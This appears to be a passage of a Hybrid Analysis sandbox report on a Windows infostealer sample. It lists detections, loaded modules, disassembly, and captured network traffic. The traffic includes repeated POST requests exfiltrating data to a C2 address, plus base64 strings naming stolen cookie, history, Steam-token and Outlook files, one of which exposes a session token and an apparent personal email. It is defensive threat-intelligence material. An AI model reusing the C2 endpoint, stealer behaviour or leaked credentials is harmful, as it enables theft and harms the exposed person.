21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 59:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4d9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 37222fe99f47… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 37222fe99f47…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 6/24 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20"],"about":{"@type":"SoftwareApplication","name":"bf3bc85903e812ff6a136924bf8ab376.exe","applicationCategory":["peexe","executable"],"identifier":"37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":6,"total":24},"behavioralIndicators":{"malicious":7,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAHcjU1d3ZxAAAAAAAAAAAAd3d3AAAAAAAAAAAAAAAAAAAAAAAAAHd3AAAAAAAAB3d3d3d3d3d3d3d3d3AAB3d3cAB3d3d3d3d3dwAHAAB3d3d3d3d3d3d3d3d3dwAHdwAAB3dwd3d3d3d3d3cABwB3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3AAd3d3d3d3d3d3d3AAAAAAd3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3dwAAB3d3d3d3d3d3d3d3AAAAAHd3d3d3d3d3d3d3dwAAAAAAd3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3AAAAcAAHd3d3d3d3d3d3cAAHd3AAd3d3d3d3d3d3cAB3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3AHd3AAAAd3d3d3d3d3d3d3cAAAAAAHd3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3dwAAdwd3d3d3d3d3d3d3d3AAAHd3d3d3d3d3d3d3d3d3AAB3AAd3d3d3d3d3d3d3cAAAAHd3d3d3d3d3d3cAd3AAAAAAd3d3d3dwAAAAd3dwAAAAB3d3d3d3d3d3d3d3dwAAAAAAd3AAd3d3d3d3d3cAD/////+AAP//gAD////4P/AAAABwOAADeAAAAHHwgABwAAAAOAAAAHgAAAB/gAAA+AAAAHgAAAP4AAAAPgAAADgAAAA4AAAfmAAAABgAAOA4AAAAOAAAIPgAAAA4AAAAGAAAADgAAAD4AAAAOcAAAP4AAAg/gA/gvgAAAD+jgABw==23:Tede,Contains base64 encoded string "c21qbGxteW1sYnpxLnB3ZA==" in [Source : PCAP] Contains base64 encoded string "Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==" in [Source : PCAP] Contains base64 encoded string "aGlzdG9yeVxNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==" in [Source : PCAP] Contains base64 encoded string "aHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL2VuLVVTL3Byb2R1Y3RzL2ZpcmVmb3gKaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZW4tVVMvZmlyZWZveC9jdXN0b21pemUvCmh0dHBzOi8vd3d3Lm1vemlsbGEub3JnL2VuLVVTL2NvbnRyaWJ1dGUvCmh0dHBzOi8vd3d3Lm1vemlsbGEub3JnL2VuLVVTL2Fib3V0LwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9maXJlZm94L2NlbnRyYWwvCmh0dHBzOi8vd3d3Lm1vemlsbGEub3JnL3ByaXZhY3kvZmlyZWZveC8KcGxhY2U6c29ydD04Jm1heFJlc3VsdHM9MTAKcGxhY2U6dHlwZT02JnNvcnQ9MTQmbWF4UmVzdWx0cz0xMApodHRwOi8vZ29vZ2xlLmNvbS8KaHR0cDovL3d3dy5nb29nbGUuY29tLwpodHRwczovL2FwcC52c2FleC52aXN1YWxzdHVkaW8uY29tL2dvL3Byb2ZpbGU/bWt0PWVuLXVzJnd0Lm1jX2lkPW9+bXNmdH52c2NvbX5zaWduaW4mX2dhPTEuMTA2NzE1NTIzLjE4MTIyMjAxNjAuMTQ2NzEzODgzNyZwY2V4cD10cnVlJnVpY3R4PW1lCmh0dHBzOi8vY3Jvd2RzdHJpa2Uub2t0YS5jb20vbG9naW4vc2Vzc2lvbkNvb2tpZVJlZGlyZWN0P2NoZWNrQWNjb3VudFNldHVwQ29tcGxldGU9dHJ1ZSZ0b2tlbj0yMDExMTlLZEJLVkQ2YUVaaVM1N0lFRTJ5WWpBLVlIVmp1cnBNT2RlZG1UZ2hGVllwY1hUc0lBJnJlZGlyZWN0VXJsPWh0dHBzJTNBJTJGJTJGY3Jvd2RzdHJpa2Uub2t0YS5jb20lMkZhcHAlMkZvZmZpY2UzNjUlMkZleGs5bnRrdW82dU5JNUJHQzB4NyUyRnNzbyUyRndzZmVkJTJGcGFzc2l2ZSUzRmNsaWVudC1yZXF1ZXN0LWlkJTNEODMxNzM4NDEtZGZmNS00NDAyLTgwYjMtODI1MmRmNDU1N2I4JTI2d2ElM0R3c2lnbmluMS4wJTI2d3RyZWFsbSUzRHVybiUyNTNhZmVkZXJhdGlvbiUyNTNhTWljcm9zb2Z0T25saW5lJTI2d2N0eCUzRExvZ2luT3B0aW9ucyUyNTNEMyUyNTI2ZXN0c3JlZGlyZWN0JTI1M2QyJTI1MjZlc3RzcmVxdWVzdCUyNTNkclFJSUFaVlN6MnNUVVJET1p0T1lCc0VpZ29LWEhwSWMxTjNzZV92clpTSFFRQnRqcVZvdGFQRVNOcnR2azAxMjkyM2ZlNXZFZ2tFVXhHUHg2RkhCUTd6cHBmZ25lT3E1bDRKZVJBLUtJSGowVmZFa2dzSXdNRFBmOE0xOE14ZGtvQUtuWWpRYVBXUzRuZ0owQ0JRRDJvSGl1c0JXb0dWN3J0V3dUYnVCMW91bUJnelRvS2ZMU3kxMDl1RzNvX3pxX2RjUGJoNnQzZDZmUzVjR25LZk1xZGZkTkZYSGpLVk1IWWNzY3lQR016OGtxa2ZpZXBlRl9RVDdZYkl2U1FlUzlFR1M1dmtLMG9HdEl3TW9maENZaW1Gb1VFRmFUMWNRTktFZkdLWnA5OUJoX3RUMVZzWUg4TmdSR3U3aXJfbkZnTkM0bXhMR244cVA4aFM3VWR6OHhlM2k2Ul9jTllyVDZHNlhrLWJQT2F0NnF3cmJ3djdlSVlwOUlseEtTUkJHdUtxMzR4R3Y2cXM0VVRKV2hkYUVxN0hYRFgyUklyT1lCWHcyWnFKdGRyeGptQWhBdC0tS21wQlhzMnhnbWxCWEFRSVFRZzFZbWdvTWtkUVIwbTJCVEQwOFRRV1cwd3lMTUFzOVBoVmhqR3NEM3RSckNVazgzUHdYbmVaeTVmY1pZamR4LXpqR0NSZkxVS3hPd3NRbkU2WW1tTmRmeVVVeGFVeVNkX0w1MktXZVNzTXhwbVRGbzJUaU0wN0RFVDVXNEtBZ2ZTeWMxR1NuVkNvdjVjN2xsblBmQzlLekJYSC1sLTlMbnpmdTNWcDVjZmxKOHZ4VE9mZDJvVDY1dWgxWm1fN1dWclRaNmdfWGh0UE9kSVNHblkyZDFzN29XZ3AydDI5YzZWQi1zYjF1YWszb2dMMml0RmNzZmlsS2owX2szaXotMV9NY2xzOElEWkdpMlFxd2x3RjBvT1VZNk00UDAlMjZjYmN4dCUzRCUyNnVzZXJuYW1lJTNEbWFyYy5yaXZlcm8lMjU0MGNyb3dkc3RyaWtlLmNvbSUyNm1rdCUzRCUyNmxjJTNECmh0dHBzOi8vYXBwLnZzYWV4LnZpc3VhbHN0dWRpby5jb20vcHJvZmlsZS9jcmVhdGU/bWt0PWVuLXVzJmNhbXBhaWduPW9+bXNmdH52c2NvbX5zaWduaW4KaHR0cHM6Ly9hcHAudnNhZXgudmlzdWFsc3R1ZGlvLmNvbS9wcm9maWxlL3ZpZXc/bWt0PWVuLVVTJmNhbXBhaWduPW9+bXNmdH52c2NvbX5zaWduaW4KaHR0cHM6Ly9tc2RuLm1pY3Jvc29mdC5jb20vZW4tdXMvc3Vic2NyaXB0aW9ucy9hYTMzNjg1OC5hc3B4Cmh0dHBzOi8vYXBwLnZzc3BzLnZpc3VhbHN0dWRpby5jb20vX3NpZ25pbj9yZWFsbT1teS52aXN1YWxzdHVkaW8uY29tJnJlcGx5X3RvPWh0dHBzJTNBJTJGJTJGbXkudmlzdWFsc3R1ZGlvLmNvbSUyRkJlbmVmaXRzJTNGd3QubWNfaWQlM0Rvfm1zZnR+dnNjb21+bmF2JTI2Y2FtcGFpZ24lM0Rvfm1zZnR+dnNjb21+bmF2JnJlZGlyZWN0PTEmY29udGV4dD1leUpvZENJNk15d2lhR2xrSWpvaU4yUXhObUU1T1RVdE1EQTBNaTFrTUdaaExXUmhaR1F0WVRRNFl6VXpZV1JrWWpsbElpd2ljWE1pT250OUxDSnljaUk2SWlJc0luWm9Jam9pSWl3aVkzWWlPaUlpTENKamN5STZJaUo5MCNjdHg9ZXlKVGFXZHVTVzVEYjI5cmFXVkViMjFoYVc1eklqcGJJbWgwZEhCek9pOHZiRzluYVc0dWQybHVaRzkzY3k1dVpYUWlMQ0pvZEhSd2N6b3ZMMnh2WjJsdUxtMXBZM0p2YzI5bWRHOXViR2x1WlM1amIyMGlYWDAxCg==" in [Source : PCAP] Contains base64 encoded string "c3RlYW1fdG9rZW5zLnR4dA==" in [Source : PCAP] Contains base64 encoded string "c29mdFxPdXRsb29rXGFjY291bnRzLnR4dA==" in [Source : PCAP]24:Tf8e,"bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 73c30000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 73c30000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 73c30000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "KERNEL32" at base 73e10000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72a20000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "MSIMG32.DLL" at base 72a10000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "KERNEL32.DLL" at base 73e10000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "MSVCRT.DLL" at base 74270000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "USER32.DLL" at base 740f0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "MSVCR100.DLL" at base 72950000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "ADVAPI32.DLL" at base 76e40000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "GDI32.DLL" at base 76c00000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "CRYPT32.DLL" at base 76a70000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "NTDLL.DLL" at base 76ec0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "RPCRT4.DLL" at base 76c30000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "SSPICLI.DLL" at base 738e0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "GDIPLUS.DLL" at base 73560000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "OLE32.DLL" at base 74ef0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "BCRYPT.DLL" at base 72c60000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "WININET.DLL" at base 72680000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "SHLWAPI.DLL" at base 740a0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "SHELL32.DLL" at base 75720000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "PSAPI.DLL" at base 76a60000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "RSTRTMGR.DLL" at base 72650000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 725e0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "WINHTTP.DLL" at base 72530000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 725e0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72b90000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 73e10000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "MSISO.DLL" at base 724c0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 73ef0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75040000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 73c30000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%ALLUSERSPROFILE%\CHROME.DLL" at base 72410000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 723f0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 723a0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "KERNELBASE.DLL" at base 73c30000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "CRYPTBASE.DLL" at base 738d0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%ALLUSERSPROFILE%\NSS3.DLL" at base 721a0000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73390000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 73560000 "bf3bc85903e812ff6a136924bf8ab376.exe" loaded module "WINDOWSCODECS.DLL" at base 713a000025:T1330,"bf3bc85903e812ff6a136924bf8ab376.exe" file has an entrypoint instructions - "call 0x40911f,jmp 0x405300,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],xor ecx, ecx,cmp eax, dword ptr [ecx*8 + 0x494020],je 0x4054ad,inc ecx,cmp ecx, 0x2d,jb 0x405491,lea ecx, [eax - 0x13],cmp ecx, 0x11,ja 0x4054b6,push 0xd,pop eax,pop ebp,ret ,mov eax, dword ptr [ecx*8 + 0x494024],pop ebp,ret ,add eax, 0xffffff44,push 0xe,pop ecx,cmp ecx, eax,sbb eax, eax,and eax, ecx,add eax, 8,pop ebp,ret ,call 0x408da0,test eax, eax,jne 0x4054d8,mov eax, 0x494188,ret ,add eax, 8,ret ,call 0x408da0," "nss3_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1014a36e,call 0x1014a891,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1014a24e,add esp, 0xc,pop ebp,ret 0xc,mov eax, dword ptr [0x101e0d68],push ebx,xor ebx, ebx,inc ebx,push esi,cmp eax, ebx,je 0x1014a3f1,test eax, eax,jne 0x1014a3ed,push 0x101d0194,call dword ptr [0x101dcc10],mov esi, eax,test esi, esi,jne 0x1014a3aa,mov esi, ebx,jmp 0x1014a3d4,push 0x101d017c,push esi,call dword ptr [0x101dcc14],test eax, eax,je 0x1014a3a6,push 0x101d0164,push esi," "chrome.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10050d5e,call 0x10050e8d,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10050c1a,add esp, 0xc,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ecx,lea ecx, [esp + 4],sub ecx, eax,sbb eax, eax,not eax,and ecx, eax,mov eax, esp,and eax, 0xfffff000,cmp ecx, eax,jb 0x10050da2,mov eax, ecx,pop ecx,xchg eax, esp,mov eax, dword ptr [eax],mov dword ptr [esp], eax,ret ,sub eax, 0x1000,test dword ptr [eax], eax,jmp 0x10050d94,int3 ,int3 ,int3 ,int3 ,int3 ,push ebx,push esi," "freebl3.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1008127e,call 0x10081293,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1008115e,add esp, 0xc,pop ebp,ret 0xc,mov ecx, dword ptr [0x100a30b4],push esi,push edi,mov edi, 0xbb40e64e,mov esi, 0xffff0000,cmp ecx, edi,je 0x100812ad,test esi, ecx,jne 0x100812d3,call 0x100812de,mov ecx, eax,cmp ecx, edi,jne 0x100812bf,mov ecx, 0xbb40e64f,jmp 0x100812cd,test esi, ecx,jne 0x100812cd,or eax, 0x4711,shl eax, 0x10,or ecx, eax,mov dword ptr [0x100a30b4], ecx," "mozglue.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1003b9ce,call 0x1003bef1,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1003b8ae,add esp, 0xc,pop ebp,ret 0xc,mov eax, dword ptr [0x1008e6f8],push ebx,xor ebx, ebx,inc ebx,push esi,cmp eax, ebx,je 0x1003ba51,test eax, eax,jne 0x1003ba4d,push 0x100852b0,call dword ptr [0x1008be60],mov esi, eax,test esi, esi,jne 0x1003ba0a,mov esi, ebx,jmp 0x1003ba34,push 0x10085228,push esi,call dword ptr [0x1008be64],test eax, eax,je 0x1003ba06,push 0x10085210,push esi," "msvcp140_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1003d96e,call 0x1003dece,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1003d82f,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push 0,call dword ptr [0x1006706c],push dword ptr [ebp + 8],call dword ptr [0x10067070],push 0xc0000409,call dword ptr [0x10067010],push eax,call dword ptr [0x10067068],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call 0x1003e631,test eax, eax,je 0x1003d9c4,push 2,pop ecx,int 0x29," "softokn3_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1002cf5e,call 0x1002cf73,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1002ce3e,add esp, 0xc,pop ebp,ret 0xc,mov ecx, dword ptr [0x10039014],push esi,push edi,mov edi, 0xbb40e64e,mov esi, 0xffff0000,cmp ecx, edi,je 0x1002cf8d,test esi, ecx,jne 0x1002cfb3,call 0x1002cfbe,mov ecx, eax,cmp ecx, edi,jne 0x1002cf9f,mov ecx, 0xbb40e64f,jmp 0x1002cfad,test esi, ecx,jne 0x1002cfad,or eax, 0x4711,shl eax, 0x10,or ecx, eax,mov dword ptr [0x10039014], ecx," "vcruntime140.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000d99e,call 0x1000dee2,pop ebp,jmp 0x1000d915,push ebp,mov ebp, esp,and dword ptr [0x1000f2cc], 0,sub esp, 0x24,push ebx,xor ebx, ebx,inc ebx,or dword ptr [0x1000f014], ebx,push 0xa,call 0x1000e08a,test eax, eax,je 0x1000db36,and dword ptr [ebp - 0x10], 0,xor eax, eax,or dword ptr [0x1000f014], 2,xor ecx, ecx,push esi,push edi,mov dword ptr [0x1000f2cc], ebx,lea edi, [ebp - 0x24],push ebx,cpuid ,mov esi, ebx,pop ebx,mov dword ptr [edi], eax,mov dword ptr [edi + 4], esi,mov dword ptr [edi + 8], ecx,xor ecx, ecx,"26:T909,"bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\FLTLIB.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\MSIMG32.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\msimg32.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\MSVCR100.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\msvcr100.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\BCRYPT.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\bcrypt.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\WININET.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\wininet.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\RSTRTMGR.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\rstrtmgr.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\NCRYPT.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\ncrypt.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\NTASN1.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\NTASN1.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\iertutil.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\URLMON.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\urlmon.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\WINNLSRES.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\winnlsres.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\DPAPI.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\DPAPI.dll"27:T664a,Contains base64 string in header "Keep" in header "GET / HTTP/1.1Host: 95.215.204.131Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 95.215.204.131Content-Length: 216Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 95.215.204.131Content-Length: 216Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 95.215.204.131Content-Length: 216Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 95.215.204.131Content-Length: 216Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "HDGHJEBFBFHIIECAECGHHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 95.215.204.131Content-Length: 216Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 95.215.204.131Content-Length: 216Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "DAAFIIJDAAAAKFHIDAAAHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "IIJKJDAFHJDHIEBGCFIDHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "CFIECBFIDGDAKFHIEHJKHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in 